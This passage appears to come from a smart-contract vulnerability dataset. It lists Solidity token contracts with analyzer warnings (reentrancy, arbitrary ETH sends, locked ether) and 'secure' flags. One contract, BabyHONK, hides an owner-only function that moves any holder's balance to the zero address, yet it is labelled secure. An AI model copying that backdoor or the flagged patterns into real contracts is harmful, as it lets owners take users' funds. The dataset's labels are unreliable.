greater than zero\");\n\n require(balanceOf(msg.sender) >= _amount, \"Insufficient balance\");\n\n _burn(msg.sender, _amount);\n\n navrasToken.safeTransfer(msg.sender, _amount);\n\n emit Unwrapped(msg.sender, _amount);\n }\n\n function pause() external onlyOwner {\n _pause();\n }\n\n function unpause() external onlyOwner {\n _unpause();\n }\n\n function updateNavrasTokenAddress(\n address _newTokenAddress\n ) external onlyOwner {\n require(_newTokenAddress != address(0), \"Invalid NAVRAS token address\");\n\n navrasToken = IERC20Upgradeable(_newTokenAddress);\n\n emit NavrasTokenAddressUpdated(_newTokenAddress);\n }\n}", "file_name": "solidity_code_404.sol", "secure": 1, "size_bytes": 2544 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0efe053): BLK2100.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 1 * (_tTotal / 100)\n// Recommendation for 0efe053: Consider ordering multiplication before division.\ncontract BLK2100 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8353101): BLK2100._taxWallet should be immutable \n\t// Recommendation for 8353101: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6508d0c): BLK2100._initialBuyTax should be constant \n\t// Recommendation for 6508d0c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58b34ee): BLK2100._initialSellTax should be constant \n\t// Recommendation for 58b34ee: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4fad3dc): BLK2100._finalBuyTax should be constant \n\t// Recommendation for 4fad3dc: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 78d752d): BLK2100._finalSellTax should be constant \n\t// Recommendation for 78d752d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7803ebb): BLK2100._reduceBuyTaxAt should be constant \n\t// Recommendation for 7803ebb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89fe027): BLK2100._reduceSellTaxAt should be constant \n\t// Recommendation for 89fe027: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: f36a195): BLK2100._preventSwapBefore should be constant \n\t// Recommendation for f36a195: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 21_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"BLK2100\";\n\n string private constant _symbol = unicode\"$BLK\";\n\n\t// divide-before-multiply | ID: 0efe053\n uint256 public _maxTxAmount = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: e56aaee\n uint256 public _maxWalletSize = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: b11a448): BLK2100._taxSwapThreshold should be constant \n\t// Recommendation for b11a448: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 549c745\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: df23822): BLK2100._maxTaxSwap should be constant \n\t// Recommendation for df23822: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 2038844\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 06bbd71): BLK2100.uniswapV2Router should be immutable \n\t// Recommendation for 06bbd71: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b5f6376): BLK2100.uniswapV2Pair should be immutable \n\t// Recommendation for b5f6376: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x1BF1De1e7B90c41d2d3473913ddF8321D9394e5A);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 634d10b): BLK2100.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 634d10b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d15c7f1): BLK2100._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d15c7f1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 33b409a): BLK2100._transfer(address,address,uint256) contains a tautology or contradiction _buyCount >= 0\n\t// Recommendation for 33b409a: Fix the incorrect comparison by changing the value type or the comparison.\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n\t\t\t// tautology | ID: 33b409a\n if (_buyCount >= 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(tradingOpen, \"TradingIsNotLive\");\n\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(tradingOpen, \"TradingIsNotLive\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n sellCount++;\n\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n emit Transfer(from, address(this), taxAmount);\n }\n\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n _taxWallet.transfer(amount);\n }\n\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n swapEnabled = true;\n\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n tokenBalance = min(tokenBalance, _maxTaxSwap);\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}", "file_name": "solidity_code_4040.sol", "secure": 0, "size_bytes": 13226 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 0259fe4): Contract locking ether found Contract Hachiware has payable functions Hachiware.receive() But does not have a function to withdraw the ether\n// Recommendation for 0259fe4: Remove the 'payable' attribute or add a withdraw function.\ncontract Hachiware is ERC20, Ownable {\n constructor() ERC20(unicode\"Hachiware\", unicode\"HACHI\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 0259fe4): Contract locking ether found Contract Hachiware has payable functions Hachiware.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 0259fe4: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_4041.sol", "secure": 0, "size_bytes": 1013 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BabyHONK is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable purposes;\n\n constructor() {\n _name = \"BabyHONK\";\n\n _symbol = \"BabyHONK\";\n\n _decimals = 18;\n\n uint256 initialSupply = 36700000000;\n\n purposes = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == purposes, \"Not allowed\");\n\n _;\n }\n\n function personal(address[] memory although) public onlyOwner {\n for (uint256 i = 0; i < although.length; i++) {\n address account = although[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_4042.sol", "secure": 1, "size_bytes": 4375 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BSR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a037613): BSR._taxWallet should be immutable \n\t// Recommendation for a037613: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6feb4cc): BSR._initialBuyTax should be constant \n\t// Recommendation for 6feb4cc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 40b110c): BSR._initialSellTax should be constant \n\t// Recommendation for 40b110c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 988cc1e): BSR._finalBuyTax should be constant \n\t// Recommendation for 988cc1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5a2b323): BSR._finalSellTax should be constant \n\t// Recommendation for 5a2b323: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8862a62): BSR._reduceBuyTaxAt should be constant \n\t// Recommendation for 8862a62: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 673abf4): BSR._reduceSellTaxAt should be constant \n\t// Recommendation for 673abf4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6dc3ea5): BSR._preventSwapBefore should be constant \n\t// Recommendation for 6dc3ea5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 21000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bitcoin Strategic Reserve\";\n\n string private constant _symbol = unicode\"BSR\";\n\n uint256 public _maxTxAmount = 420000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 420000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e280a2): BSR._taxSwapThreshold should be constant \n\t// Recommendation for 9e280a2: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 210000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f8865f): BSR._maxTaxSwap should be constant \n\t// Recommendation for 8f8865f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 210000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9d3bbeb): BSR.uniswapV2Router should be immutable \n\t// Recommendation for 9d3bbeb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03ffaac): BSR.uniswapV2Pair should be immutable \n\t// Recommendation for 03ffaac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89994c6): BSR.sellsPerBlock should be constant \n\t// Recommendation for 89994c6: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: bfd653e): BSR.buysFirstBlock should be constant \n\t// Recommendation for bfd653e: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 100;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 671bc24): BSR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 671bc24: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7fb460a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7fb460a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1bf81c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1bf81c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7fb460a\n\t\t// reentrancy-benign | ID: 1bf81c6\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7fb460a\n\t\t// reentrancy-benign | ID: 1bf81c6\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1837540): BSR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1837540: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1bf81c6\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7fb460a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9e1dd70): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9e1dd70: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 7c9bdfc): BSR._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 7c9bdfc: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f03bda7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f03bda7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 99224c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 99224c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 7c9bdfc\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 9e1dd70\n\t\t\t\t// reentrancy-eth | ID: f03bda7\n\t\t\t\t// reentrancy-eth | ID: 99224c5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9e1dd70\n\t\t\t\t\t// reentrancy-eth | ID: f03bda7\n\t\t\t\t\t// reentrancy-eth | ID: 99224c5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f03bda7\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f03bda7\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 9e1dd70\n\t\t\t\t// reentrancy-eth | ID: 99224c5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9e1dd70\n\t\t\t\t\t// reentrancy-eth | ID: 99224c5\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 99224c5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9e1dd70\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 99224c5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 99224c5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9e1dd70\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7fb460a\n\t\t// reentrancy-events | ID: 9e1dd70\n\t\t// reentrancy-benign | ID: 1bf81c6\n\t\t// reentrancy-eth | ID: f03bda7\n\t\t// reentrancy-eth | ID: 99224c5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 64548dd): BSR.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 64548dd: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7fb460a\n\t\t// reentrancy-events | ID: 9e1dd70\n\t\t// reentrancy-eth | ID: f03bda7\n\t\t// reentrancy-eth | ID: 99224c5\n\t\t// arbitrary-send-eth | ID: 64548dd\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// 